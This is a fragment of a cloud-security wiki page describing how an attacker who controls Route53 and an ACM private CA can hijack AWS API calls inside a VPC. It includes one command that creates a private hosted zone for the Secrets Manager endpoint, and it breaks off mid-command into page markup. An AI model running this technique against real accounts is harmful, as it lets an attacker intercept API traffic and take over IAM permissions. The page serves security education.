href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/acm-pca/list-certificate-authorities.html>acm-pca:ListCertificateAuthorities</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/describe-vpcs.html>ec2:DescribeVpcs</a></li> </ul> </li> </ul> </div> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/ >Hijacking AWS API calls</a> by <a href=https://twitter.com/niebardzo2>niebardzo</a></p> </li> </ul> </div> <div class="admonition note"> <p class=admonition-title>Note</p> <p>To perform this attack the target account must already have an <a href=https://aws.amazon.com/certificate-manager/private-certificate-authority/ >AWS Certificate Manager Private Certificate Authority</a> (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.</p> </div> <p>Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.</p> <p>This is possible because: </p> <ul> <li>AWS SDKs do not have <a href=https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning>Certificate Pinning</a></li> <li>Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names</li> <li>Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names</li> </ul> <p>For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com: <div class=highlight><pre><span></span><code>aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=&lt;VPCId&gt;
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#aws-api-call-hijacking-via-acm-pca class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle 